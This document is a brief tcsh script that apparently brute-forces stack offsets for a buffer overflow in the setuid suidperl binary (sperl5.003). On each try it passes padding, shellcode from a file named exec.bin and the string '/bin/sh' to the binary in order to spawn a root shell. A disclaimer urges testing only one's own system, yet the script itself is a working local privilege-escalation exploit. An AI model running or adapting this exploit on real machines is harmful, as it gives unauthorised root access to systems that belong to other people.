#!/bin/tcsh # the shell name is given by 'echo -n ...' and must be exactly 7 chars here, # or you'll have to modify the stack base for the 'LEA' instruction in the # source 'exec.a86'. # You can copy /usr/bin/id to /tmp and run /tmp/id instead. That's good too. echo "PLEASE DO NOT USE THIS TO CRACK A SYSTEM, BUT JUST TO TEST YOURS\!\!\!" set val = 1164 while ($val < 1240) echo Trying $val /usr/bin/sperl5.003 `./rpt $val;cat exec.bin;echo -n '/bin/sh';./esp 200` @ val++ end